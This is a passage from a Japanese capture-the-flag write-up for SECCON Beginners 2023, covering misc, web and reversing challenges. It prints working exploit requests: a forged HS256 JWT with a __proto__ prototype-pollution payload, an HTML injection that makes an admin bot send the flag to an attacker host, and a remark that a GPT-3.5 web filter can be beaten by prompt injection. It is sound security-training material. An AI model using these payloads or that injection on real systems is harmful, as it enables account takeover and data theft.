# open path with `fd+1` and read
open_as(path, fd + 1)
print(os.read(fd + 1, 256))
# read from an arbitraly fd
try:
fd = int(input('fd: '))
print(os.read(fd, 256))
except:
exit('[-] failed to read')
if __name__ == '__main__':
try:
main()
except timeout_decorator.timeout_decorator.TimeoutError:
print("Timeout")
- フラグをランダムなfdで開く
- /proc 配下の指定したファイルをこのfd+1で開いて出力
- 指定したfdのファイルを出力
/proc/self/cwd や /proc/self/root があるから任意のディレクトリのファイルが開けるが、 flag
や .
が含まれているかのチェックがあるので、 flagは開けない。
/proc の中にfdが書かれているファイルがあるのかな? でも、それで難易度hardの(解き始めたときの)solve数1桁になるかなぁ……。あったわ。
$ nc treasure.beginners.seccon.games 13778
path: /proc/self/syscall
b'0 0x85c2 0x7f5669e5cb00 0x100 0x0 0x0 0x0 0x7ffec7a916f8 0x7f566a451fac\n'
fd: 34241
b'ctf4b{y0u_f0und_7h3_7r3a5ur3_1n_pr0cf5}\n'
0x85c2 = 34242。
ctf4b{y0u_f0und_7h3_7r3a5ur3_1n_pr0cf5}
web
double check (medium)
:
app.post("/register", (req, res) => {
const { username, password } = req.body;
if(!username || !password) {
res.status(400).json({ error: "Please send username and password" });
return;
}
const user = {
username: username,
password: password
};
if (username === "admin" && password === getAdminPassword()) {
user.admin = true;
}
req.session.user = user;
let signed;
try {
signed = jwt.sign(
_.omit(user, ["password"]),
readKeyFromFile("keys/private.key"),
{ algorithm: "RS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", signed);
res.json({ message: "ok" });
});
app.post("/flag", (req, res) => {
if (!req.header("Authorization")) {
res.status(400).json({ error: "No JWT Token" });
return;
}
if (!req.session.user) {
res.status(401).json({ error: "No User Found" });
return;
}
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
readKeyFromFile("keys/public.key"),
{ algorithms: ["RS256", "HS256"] }
);
} catch (err) {
console.error(err);
res.status(401).json({ error: "Invalid Token" });
return;
}
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
verified = _.omit(verified, ["admin"]);
}
const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);
if (token.admin && user.admin) {
res.send(`Congratulations! Here"s your flag: ${FLAG}`);
return;
}
res.send("No flag for you");
});
:
セッション変数とJWTでごちゃごちゃしている。
署名はRS256なのに、検証ではHS2256も許可されている。HS256は共通鍵なので、public.keyが共通鍵として用いられる。つまり、改竄した署名付きJWTが作れる。
当然 admin
を true
にしたJWTを作りたいが、二重チェックで消される。
app.post("/test", (req, res) => {
const user1 = req.body;
console.log("user1");
console.dir(user1);
console.dir(user1.admin)
const user2 = _.omit(user1, ["admin"]);
console.log("user2");
console.dir(user2);
console.dir(user2.admin)
const user3 = Object.assign({}, user2);
console.log("user3");
console.dir(user3);
console.dir(user3.admin)
res.json({ message: "ok" });
});
を追加して色々と試すと、
{
"__proto__": {
"admin": 123
}
}
で、
doublecheck2-app-1 | user1
doublecheck2-app-1 | { ['__proto__']: { admin: 123 } }
doublecheck2-app-1 | undefined
doublecheck2-app-1 | user2
doublecheck2-app-1 | { ['__proto__']: { admin: 123 } }
doublecheck2-app-1 | undefined
doublecheck2-app-1 | user3
doublecheck2-app-1 | {}
doublecheck2-app-1 | 123
となった。なんだこれ……。 Object.assign
って所有しているフィールドしかコピーしないのではないの? おかげで解けるからいいか。
app.get("/sign", (req, res) => {
const signed = jwt.sign(
'{"__proto__": {"admin": true}}',
readKeyFromFile("keys/public.key"),
{ algorithm: "HS256"}
);
res.json({signed});
});
を追加して、JWTを作る。オブジェクトの指定だと上手くいかなかったのでJSON文字列に署名。
$ curl \
--include
-H 'Content-Type: application/json' \
-d '{"username": "user", "password": "p@ssw0rd"}' \
https://double-check.beginners.seccon.games/register
HTTP/1.1 200 OK
Server: nginx/1.25.0
Date: Sat, 03 Jun 2023 17:55:29 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 16
Connection: keep-alive
X-Powered-By: Express
Authorization: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJpYXQiOjE2ODU4MTQ5MjksImV4cCI6MTY4NTgxODUyOX0.TGUiWBXP-cgWf6XqLkZ578Oyb32pT4F6FknSVRLnb4rjjmtBhdpRT2kztoRG6JUSt86TbjUvvsAYyBm6Eauk3qQaESqbRfh9ENvjNeAI6wQalepOkHMJ-qQNnKtp1D69urTkcrYopDAqjUndX4UHAdCjVuzuvj1coFFT5Ied6Pj2-6OqOzqpoLSJQIhCqKQQQ6qMajZf6tvtV6w1-axJsHvb7zlY68FaDeJh6xY6yERbFF4_hMKU16BWs4AuJcm1L7VZ3wEIABemzItuVOVpDxWpEiNYdbE8jQ5tUmfO6jXg3B3Bm-ZPgsqv0trjxbmF5kBKvXXVeOTtNYqMU9JLyNA9RTjgAc37Uoo7a1jV3MfuilpAelz6gOO-VUOl860-xBm5oFHThz0YvJAtA9OEZMD7h7zDfsuCqZ1xW7T_0T-yfpx6ugcSoAiTvNVm6WuWsMWkkVV-C6aUF1aU1bY4Jh30AuGFMl-jZ3fawFNhc0An0RcaILPSYJnkeTE13rgPv9o6tV3NLGpDkpChZek2Bq_hD6NIKaLD9a1Qx6507IV8OF84jYua9MCIpORIRUskq-wjtvVw1GAwcH_zoZPFJBctK6g9KDmmV1jAerOUSIImQf2skKJbZXpiZ6q2UQ3fn9TEt69SUr-qJh22KJ_HGZtvDqh0micpjmE0NV91gWQ
ETag: W/"10-/VnJyQBB0+b7i4NY83P42KKVWsM"
Set-Cookie: connect.sid=s%3AYk9PHH8kM_THjO2Kzc4L2_YoT-vnzeQK.9vV2bqJoAcxAP%2B7GKXNxIWiAoDsPXEXvaseFd4NEPE0; Path=/; HttpOnly
{"message":"ok"}
$ curl \
-X POST \
-H 'Authorization: eyJhbGciOiJIUzI1NiJ9.eyJfX3Byb3RvX18iOiB7ImFkbWluIjogdHJ1ZX19.YQs_Ht4cpJO9YeT2fXvDt69om74KJ7RxCgT26mkb0w8' \
-H 'Cookie: connect.sid=s%3AYk9PHH8kM_THjO2Kzc4L2_YoT-vnzeQK.9vV2bqJoAcxAP%2B7GKXNxIWiAoDsPXEXvaseFd4NEPE0' \
https://double-check.beginners.seccon.games/flag
Congratulations! Here"s your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}
ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}
Forbidden (beginner)
:
const block = (req, res, next) => {
if (req.path.includes('/flag')) {
return res.send(403, 'Forbidden :(');
}
next();
}
app.get("/flag", block, (req, res, next) => {
return res.send(FLAG);
})
:
Flag
で開けた。
https://forbidden.beginners.seccon.games/Flag
Expressのデフォルトはcase insensitiveらしい。マジで。
caseSensitive
Enable case sensitivity.
Disabled by default, treating “/Foo” and “/foo” as the same.
aiwaf (easy)
file = request.args.get("file")
:
puuid = uuid.uuid4()
prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。
{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
try:
response = openai.ChatCompletion.create(
model="gpt-3.5-turbo",
messages=[
{
"role": "user",
"content": prompt,
},
],
)
result = response.choices[0]["message"]["content"].strip()
except:
return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
if "No" in result:
with open(f"./books/{file}", encoding="utf-8") as f:
return f.read().replace(KEY, "")
return abort(403, "AI-WAFに検知されました👻")
:
ChatGPTなんて簡単に騙くらかせるだろと思ったけど、これ固いな。あと、WebのChatGPTで試すとけっこう No
を返すのに、問題サーバーは全然ダメ。それなのに正解者数は多いのなんなんだ……。
良く見たら、チェックしている文字列とファイルを使っているときに使う文字列は別だったわ。
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
正攻法でChatGPTを騙すこともできるらしい。改行がポイントか?
phisher2 (medium)
目に見える文字が全てではないが、過去の攻撃は通用しないはずです。
過去はこれ。ホモグラフ攻撃。
今回はHTMLにして画像にしてOCRに掛けている。エスケープされないので、インジェクションが可能。
http://myserver.example.com:8888/</p><p style="font-size:30px; position:relative; z-index: 1; background:white; margin-top:-70px">https://phisher2.beginners.seccon.games/
$ curl \
-X POST \
-H "Content-Type: application/json" \
-d '{"text":"http://myserver.example.com:8888/</p><p style=\"font-size:30px; position:relative; z-index: 1; background:white; margin-top:-70px\">https://phisher2.beginners.seccon.games/"}' https://phisher2.beginners.seccon.games
{"input_url":"http://myserver.example.com:8888/</p><p style=\"font-size:30px; position:relative; z-index: 1; background:white; margin-top:-70px\">https://phisher2.beginners.seccon.games/","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/"}
>py -m http.server 8888
Serving HTTP on :: port 8888 (http://[::]:8888/) ...
::xxxx:xxx.xxx.xxx.xxx - - [03/Jun/2023 19:17:36] "GET /?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1" 200 -
ctf4b{w451t4c4t154w?}
reversing
Half (beginner)
バイナリファイルってなんのファイルなのか調べてみよう!
あとこのファイルってどうやって中身を見るんだろう...?
$ strings half
/lib64/ld-linux-x86-64.so.2
libc.so.6
:
Invalid FLAG
ctf4b{ge4_t0_kn0w_the
_bin4ry_fi1e_with_s4ring3}
Correct!
:
ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}
Three (easy)
このファイル、中身をちょっと見ただけではフラグは分からないみたい!
バイナリファイルを解析する、専門のツールとか必要かな?
Ghidraで見ると、3個の文字列から1文字ずつ順に取っていってる。
$ hexdump -C three
00000000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
00000010 03 00 3e 00 01 00 00 00 c0 10 00 00 00 00 00 00 |..>.............|
:
00002010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00002020 63 00 00 00 34 00 00 00 63 00 00 00 5f 00 00 00 |c...4...c..._...|
00002030 75 00 00 00 62 00 00 00 5f 00 00 00 5f 00 00 00 |u...b..._..._...|
00002040 64 00 00 00 74 00 00 00 5f 00 00 00 72 00 00 00 |d...t..._...r...|
00002050 5f 00 00 00 31 00 00 00 5f 00 00 00 34 00 00 00 |_...1..._...4...|
00002060 7d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |}...............|
00002070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00002080 74 00 00 00 62 00 00 00 34 00 00 00 79 00 00 00 |t...b...4...y...|
00002090 5f 00 00 00 31 00 00 00 74 00 00 00 75 00 00 00 |_...1...t...u...|
000020a0 30 00 00 00 34 00 00 00 74 00 00 00 65 00 00 00 |0...4...t...e...|
000020b0 73 00 00 00 69 00 00 00 66 00 00 00 67 00 00 00 |s...i...f...g...|
000020c0 66 00 00 00 7b 00 00 00 6e 00 00 00 30 00 00 00 |f...{...n...0...|
000020d0 61 00 00 00 65 00 00 00 30 00 00 00 6e 00 00 00 |a...e...0...n...|
000020e0 5f 00 00 00 65 00 00 00 34 00 00 00 65 00 00 00 |_...e...4...e...|
000020f0 70 00 00 00 74 00 00 00 31 00 00 00 33 00 00 00 |p...t...1...3...|
00002100 49 6e 76 61 6c 69 64 20 46 4c 41 47 00 43 6f 72 |Invalid FLAG.Cor|
00002110 72 65 63 74 21 00 45 6e 74 65 72 20 74 68 65 20 |rect!.Enter the |
00002120 46 4c 41 47 3a 20 00 25 34 39 73 00 01 1b 03 3b |FLAG: .%49s....;|
:
ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}
Poker (medium)
みんなでポーカーで遊ぼう!点数をたくさん獲得するとフラグがもらえるみたい!
でもこのバイナリファイル、動かしてみると...?実行しながら中身が確認できる専門のツールを使ってみよう!
どうせ「たくさんの点数」は普通には取れないのでしょう。実行しながら中身が確認できる専門のツールであるGDBを使った。
$ gdb ./poker
:
gdb-peda$ set $rip=0x5555555551a0
gdb-peda$ c
Continuing.
[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
Leak (medium)
サーバーから不審な通信を検出しました!
調査したところさらに不審なファイルを発見したので、通信記録と合わせて解析してください。
機密情報が流出してしまったかも...?
プログラムを解析すると、RC4で暗号化している。ただし、初期化の値がRC4とは異なる。
pcapから送信内容を取り出して復号。
C = """
8e 57 ff 59 45 da 90 06 28 b2 ab fa 49 73 32 33
4a 73 29 41 3c 34 b7 f6 62 73 25 0f 95 40 16 fa
47 e9 22 8d a5 cd 3d 53 ee b4 b3 51 8e d2 89 93
5b e0 59 cb fb b1 1b
"""
C = bytes.fromhex(C.replace("\n", "").replace(" ", ""))
K = b"KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}"
S = [0]*0x100
for i in range(0x100):
S[i] = (i+0x35)%0x100
j = 0
for i in range(0x100):
j = (j+S[i]+K[i%len(K)])%0x100
S[i], S[j] = S[j], S[i]
P = [0]*len(C)
i = 0
j = 0
for t in range(len(C)):
i = (i+1)%0x100
j = (j+S[i])%0x100
S[i], S[j] = S[j], S[i]
P[t] = C[t]^S[(S[i]+S[j])%0x100]
print(bytes(P).decode())
$ python3 solve.py
ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}
ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}
Heaven (hard)
メッセージを暗号化するプログラムを作りました。
解読してみてください!
良く分からん。 encrypt_message
という関数があるが呼ばれていない。Ghidraで見ると、 calc_xor
は空。 retf
という命令が途中あり、Ghidraはここで終わると思っている。しかし、実際に動かすと無視される?
まあ、解析して逆算すれば良い。 print_hexdump
は+1した値を出力していることに注意。
C = bytes.fromhex("ca6ae6e83d63c90bed34a8be8a0bfd3ded34f25034ec508ae8ec0b7f")
S = [
0xc2, 0x53, 0xbb, 0x80, 0x2e, 0x5f, 0x1e, 0xb5, 0x17, 0x11, 0x00, 0x9e, 0x24, 0xc5, 0xcd, 0xd2,
0x7e, 0x39, 0xc6, 0x1a, 0x41, 0x52, 0xa9, 0x99, 0x03, 0x69, 0x8b, 0x73, 0x6f, 0xa0, 0xf1, 0xd8,
0xf5, 0x43, 0x7d, 0x0e, 0x19, 0x94, 0xb9, 0x36, 0x7b, 0x30, 0x25, 0x18, 0x02, 0xa7, 0xdb, 0xb3,
0x90, 0x98, 0x74, 0xaa, 0xa3, 0x20, 0xea, 0x72, 0xa2, 0x8e, 0x14, 0x5b, 0x23, 0x96, 0x62, 0xa4,
0x46, 0x22, 0x65, 0x7a, 0x08, 0xf6, 0x12, 0xac, 0x44, 0xe9, 0x28, 0x8d, 0xfe, 0x84, 0xc3, 0xe3,
0xfb, 0x15, 0x91, 0x3a, 0x8f, 0x56, 0xeb, 0x33, 0x6d, 0x0a, 0x31, 0x27, 0x54, 0xf9, 0x4a, 0xf3,
0xbf, 0x4b, 0xda, 0x68, 0xa1, 0x3c, 0xff, 0x38, 0xa6, 0x3e, 0xb7, 0xc0, 0x9a, 0x35, 0xca, 0x09,
0xb8, 0x8c, 0xde, 0x1c, 0x0c, 0x32, 0x2a, 0x0f, 0x82, 0xad, 0x64, 0x45, 0x85, 0xd1, 0xaf, 0xd9,
0xfc, 0xb4, 0x29, 0x01, 0x9b, 0x60, 0x75, 0xce, 0x4f, 0xc8, 0xcc, 0xe2, 0xe4, 0xf7, 0xd4, 0x04,
0x67, 0x92, 0xe5, 0xc7, 0x34, 0x0d, 0xf0, 0x93, 0x2c, 0xd5, 0xdd, 0x13, 0x95, 0x81, 0x88, 0x47,
0x9d, 0x0b, 0x1f, 0x5e, 0x5d, 0xa8, 0xe7, 0x05, 0x6a, 0xed, 0x2b, 0x63, 0x2f, 0x4c, 0xcb, 0xe8,
0xc9, 0x5a, 0xdc, 0xc4, 0xb0, 0xe1, 0x7f, 0x9f, 0x06, 0xe6, 0x57, 0xbe, 0xbd, 0xc1, 0xec, 0x59,
0x26, 0xf4, 0xb1, 0x16, 0x86, 0xd7, 0x70, 0x37, 0x4d, 0x71, 0x77, 0xdf, 0xba, 0xf8, 0x3b, 0x55,
0x9c, 0x79, 0x07, 0x83, 0x97, 0xd6, 0x6e, 0x61, 0x1d, 0x1b, 0xa5, 0x40, 0xab, 0xbc, 0x6b, 0x89,
0xae, 0x51, 0x78, 0xb6, 0xb2, 0xfd, 0xfa, 0xd3, 0x87, 0xef, 0xee, 0xe0, 0x2d, 0x4e, 0x3f, 0x6c,
0x66, 0x5c, 0x7c, 0x10, 0xcf, 0x49, 0x48, 0x21, 0x8a, 0x3d, 0xf2, 0x76, 0xd0, 0x42, 0x50, 0x58,
]
P = [(S.index(c)^C[0])+1 for c in C[1:]]
print(bytes(P).decode())
$ python3 solve.py
ctf4b{ld_pr3l04d_15_u53ful}
LD_PRELOADとは……?
ctf4b{ld_pr3l04d_15_u53ful}